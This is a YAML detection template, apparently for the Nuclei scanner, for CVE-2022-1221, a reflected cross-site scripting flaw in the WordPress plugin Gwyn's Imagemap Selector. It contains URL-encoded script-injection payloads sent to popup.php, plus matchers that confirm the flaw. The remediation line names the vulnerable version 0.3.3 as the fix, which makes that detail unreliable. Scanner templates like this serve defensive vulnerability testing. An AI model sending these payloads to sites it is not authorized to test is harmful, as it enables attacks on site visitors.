id: CVE-2022-1221

info:
  name: WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.
  remediation: |
    Update to the latest version of the WordPress Gwyn's Imagemap Selector plugin (0.3.3) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/641be9f6-2f74-4386-b16e-4b9488f0d2a9
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1221
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1221
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1221
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.45799
    cpe: cpe:2.3:a:gwyn\'s_imagemap_selector_project:gwyn\'s_imagemap_selector:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gwyn\'s_imagemap_selector_project
    product: gwyn\'s_imagemap_selector
    framework: wordpress
  tags: cve2022,wpscan,xss,wordpress,wp-plugin,wp,cve

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script> popup-"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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